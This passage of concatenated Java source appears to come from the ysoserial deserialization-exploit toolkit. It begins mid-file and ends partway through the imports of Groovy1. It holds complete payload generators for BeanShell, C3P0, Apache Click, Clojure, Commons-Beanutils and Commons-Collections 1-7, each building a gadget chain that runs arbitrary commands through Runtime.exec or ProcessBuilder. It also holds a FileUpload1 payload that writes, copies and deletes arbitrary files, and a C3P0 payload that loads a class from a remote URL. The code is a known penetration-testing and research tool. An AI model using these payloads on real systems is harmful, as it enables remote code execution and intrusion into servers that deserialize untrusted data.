HashSet.class.getDeclaredField("backingMap"); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } Reflections.setAccessible(keyField); keyField.set(node, entry); return map; } public static void main(String[] args) throws Exception { args = new String[]{"ahi.txt;YWhpaGloaQ=="}; PayloadRunner.run(AspectJWeaver.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/BeanShell1.java ================================================ package ysoserial.payloads; import bsh.Interpreter; import bsh.XThis; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Arrays; import java.util.Comparator; import java.util.PriorityQueue; import ysoserial.Strings; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.util.Reflections; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.PayloadRunner; /** * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) */ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.beanshell:bsh:2.0b5" }) @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) public class BeanShell1 extends PayloadRunner implements ObjectPayload { public PriorityQueue getObject(String command) throws Exception { // BeanShell payload String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Strings.join( // does not support spaces in quotes Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; // Create Interpreter Interpreter i = new Interpreter(); // Evaluate payload i.eval(payload); // Create InvocationHandler XThis xt = new XThis(i.getNameSpace(), i); InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); // Create Comparator Proxy Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) final PriorityQueue priorityQueue = new PriorityQueue(2, comparator); Object[] queue = new Object[] {1,1}; Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue; } public static void main(final String[] args) throws Exception { PayloadRunner.run(BeanShell1.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/C3P0.java ================================================ package ysoserial.payloads; import java.io.PrintWriter; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /** * * * com.sun.jndi.rmi.registry.RegistryContext->lookup * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject * * Arguments: * - base_url:classname * * Yields: * - Instantiation of remotely loaded class * * @author mbechler * */ @PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" ) @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) @Authors({ Authors.MBECHLER }) public class C3P0 implements ObjectPayload { public Object getObject ( String command ) throws Exception { int sep = command.lastIndexOf(':'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: :"); } String url = command.substring(0, sep); String className = command.substring(sep + 1); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); return b; } private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url; public PoolSource ( String className, String url ) { this.className = className; this.url = url; } public Reference getReference () throws NamingException { return new Reference("exploit", this.className, this.url); } public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(C3P0.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/Click1.java ================================================ package ysoserial.payloads; import org.apache.click.control.Column; import org.apache.click.control.Table; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.math.BigInteger; import java.util.Comparator; import java.util.PriorityQueue; /* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue(). We use java.util.PriorityQueue to trigger ColumnComparator.compare(). After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection. Chain: java.util.PriorityQueue.readObject() java.util.PriorityQueue.heapify() java.util.PriorityQueue.siftDown() java.util.PriorityQueue.siftDownUsingComparator() org.apache.click.control.Column$ColumnComparator.compare() org.apache.click.control.Column.getProperty() org.apache.click.control.Column.getProperty() org.apache.click.util.PropertyUtils.getValue() org.apache.click.util.PropertyUtils.getObjectPropertyValue() java.lang.reflect.Method.invoke() com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() ... Arguments: - command to execute Yields: - RCE via TemplatesImpl.getOutputProperties() Requires: - Apache Click - servlet-api of any version by @artsploit */ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"}) @Authors({ Authors.ARTSPLOIT }) public class Click1 implements ObjectPayload { public Object getObject(final String command) throws Exception { // prepare a Column.comparator with mock values final Column column = new Column("lowestSetBit"); column.setTable(new Table()); Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column); // create queue with numbers and our comparator final PriorityQueue queue = new PriorityQueue(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); // switch method called by the comparator, // so it will trigger getOutputProperties() when objects in the queue are compared column.setName("outputProperties"); // finally, we inject and new TemplatesImpl object into the queue, // so its getOutputProperties() method will be called final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); final Object templates = Gadgets.createTemplatesImpl(command); queueArray[0] = templates; return queue; } public static void main(final String[] args) throws Exception { PayloadRunner.run(Click1.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/Clojure.java ================================================ package ysoserial.payloads; import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; import clojure.lang.PersistentArrayMap; import ysoserial.Strings; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.PayloadRunner; import java.util.Arrays; import java.util.HashMap; import java.util.Map; /* Gadget chain: ObjectInputStream.readObject() HashMap.readObject() AbstractTableModel$ff19274a.hashCode() clojure.core$comp$fn__4727.invoke() clojure.core$constantly$fn__4614.invoke() clojure.main$eval_opt.invoke() Requires: org.clojure:clojure Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions */ @Dependencies({"org.clojure:clojure:1.8.0"}) @Authors({ Authors.JACKOFMOSTTRADES }) public class Clojure extends PayloadRunner implements ObjectPayload> { public Map getObject(final String command) throws Exception { // final String[] execArgs = command.split(" "); // final StringBuilder commandArgs = new StringBuilder(); // for (String arg : execArgs) { // commandArgs.append("\" \""); // commandArgs.append(arg); // } // commandArgs.append("\""); // final String clojurePayload = // String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2)); String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\""); final String clojurePayload = String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd); Map fnMap = new HashMap(); fnMap.put("hashCode", new clojure.core$constantly().invoke(0)); AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); HashMap targetMap = new HashMap(); targetMap.put(model, null); fnMap.put("hashCode", new clojure.core$comp().invoke( new clojure.main$eval_opt(), new clojure.core$constantly().invoke(clojurePayload))); model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); return targetMap; } public static void main(final String[] args) throws Exception { PayloadRunner.run(Clojure.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/CommonsBeanutils1.java ================================================ package ysoserial.payloads; import java.math.BigInteger; import java.util.PriorityQueue; import org.apache.commons.beanutils.BeanComparator; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) @Authors({ Authors.FROHOFF }) public class CommonsBeanutils1 implements ObjectPayload { public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit"); // create queue with numbers and basic comparator final PriorityQueue queue = new PriorityQueue(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); // switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = templates; return queue; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsBeanutils1.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/CommonsCollections1.java ================================================ package ysoserial.payloads; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */ @SuppressWarnings({"rawtypes", "unchecked"}) @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.FROHOFF }) public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections1.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } } ================================================ FILE: src/main/java/ysoserial/payloads/CommonsCollections2.java ================================================ package ysoserial.payloads; import java.util.PriorityQueue; import java.util.Queue; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.apache.commons:commons-collections4:4.0" }) @Authors({ Authors.FROHOFF }) public class CommonsCollections2 implements ObjectPayload> { public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); // create queue with numbers and basic comparator final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); // stub data for replacement later queue.add(1); queue.add(1); // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = 1; return queue; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/CommonsCollections3.java ================================================ package ysoserial.payloads; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; import javax.xml.transform.Templates; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; /* * Variation on CommonsCollections1 that uses InstantiateTransformer instead of * InvokerTransformer. */ @SuppressWarnings({"rawtypes", "unchecked", "restriction"}) @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.FROHOFF }) public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { public Object getObject(final String command) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )}; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections3.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } } ================================================ FILE: src/main/java/ysoserial/payloads/CommonsCollections4.java ================================================ package ysoserial.payloads; import java.util.PriorityQueue; import java.util.Queue; import javax.xml.transform.Templates; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; /* * Variation on CommonsCollections2 that uses InstantiateTransformer instead of * InvokerTransformer. */ @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) @Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Authors({ Authors.FROHOFF }) public class CommonsCollections4 implements ObjectPayload> { public Queue getObject(final String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command); ConstantTransformer constant = new ConstantTransformer(String.class); // mock method name until armed Class[] paramTypes = new Class[] { String.class }; Object[] args = new Object[] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer( paramTypes, args); // grab defensively copied arrays paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); // create queue with numbers PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); queue.add(1); queue.add(1); // swap in values to arm Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); paramTypes[0] = Templates.class; args[0] = templates; return queue; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections4.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/CommonsCollections5.java ================================================ package ysoserial.payloads; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; import javax.management.BadAttributeValueExpException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */ /* This only works in JDK 8u76 and WITHOUT a security manager https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70 */ @SuppressWarnings({"rawtypes", "unchecked"}) @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER }) public class CommonsCollections5 extends PayloadRunner implements ObjectPayload { public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections5.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isBadAttrValExcReadObj(); } } ================================================ FILE: src/main/java/ysoserial/payloads/CommonsCollections6.java ================================================ package ysoserial.payloads; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.io.Serializable; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; /* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.MATTHIASKAISER }) public class CommonsCollections6 extends PayloadRunner implements ObjectPayload { public Serializable getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } Reflections.setAccessible(keyField); keyField.set(node, entry); return map; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections6.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/CommonsCollections7.java ================================================ package ysoserial.payloads; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; /* Payload method chain: java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) public class CommonsCollections7 extends PayloadRunner implements ObjectPayload { public Hashtable getObject(final String command) throws Exception { // Reusing transformer chain and LazyMap gadgets from previous payloads final String[] execArgs = new String[]{command}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // Needed to ensure hash collision after previous manipulations lazyMap2.remove("yy"); return hashtable; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections7.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/DynamicDependencies.java ================================================ package ysoserial.payloads; /** * @author mbechler * */ public interface DynamicDependencies { } ================================================ FILE: src/main/java/ysoserial/payloads/FileUpload1.java ================================================ package ysoserial.payloads; import java.io.File; import java.io.IOException; import java.io.OutputStream; import java.util.Arrays; import org.apache.commons.codec.binary.Base64; import org.apache.commons.fileupload.disk.DiskFileItem; import org.apache.commons.io.output.DeferredFileOutputStream; import org.apache.commons.io.output.ThresholdingOutputStream; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /** * Gadget chain: * DiskFileItem.readObject() * * Arguments: * - copyAndDelete;sourceFile;destDir * - write;destDir;ascii-data * - writeB64;destDir;base64-data * - writeOld;destFile;ascii-data * - writeOldB64;destFile;base64-data * * Yields: * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) * - pre 1.3.1 (+ old JRE): write data to an arbitrary file * - 1.3.1+: write data to a more or less random file in an arbitrary directory * * @author mbechler */ @Dependencies ( { "commons-fileupload:commons-fileupload:1.3.1", "commons-io:commons-io:2.4" } ) @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition") @Authors({ Authors.MBECHLER }) public class FileUpload1 implements ReleaseableObjectPayload { public static boolean isApplicableJavaVersion() { return JavaVersion.isAtLeast(7); } public DiskFileItem getObject ( String command ) throws Exception { String[] parts = command.split(";"); if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) { return copyAndDelete(parts[ 1 ], parts[ 2 ]); } else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) { return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); } else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) { return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); } else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) { return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); } else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) { return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); } else { throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); } } public void release ( DiskFileItem obj ) throws Exception { // otherwise the finalizer deletes the file DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); Reflections.setFieldValue(obj, "dfos", dfos); } private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { return makePayload(0, copyTo, copyAndDelete, new byte[1]); } // writes data to a random filename (update__.tmp) private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { return makePayload(data.length + 1, dir, dir + "/whatever", data); } // writes data to an arbitrary file private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception { return makePayload(data.length + 1, file + "\0", file, data); } private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { // if thresh < written length, delete outputFile after copying to repository temp file // otherwise write the contents to repository temp file File repository = new File(repoPath); DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); File outputFile = new File(filePath); DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); os.write(data); Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); Reflections.setFieldValue(diskFileItem, "dfos", dfos); Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); return diskFileItem; } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(FileUpload1.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/Groovy1.java ================================================ package ysoserial.payloads; import java.lang.reflect.InvocationHandler; import java.util.Map; import org.codehaus.groovy.runtime.ConvertedClosure; import 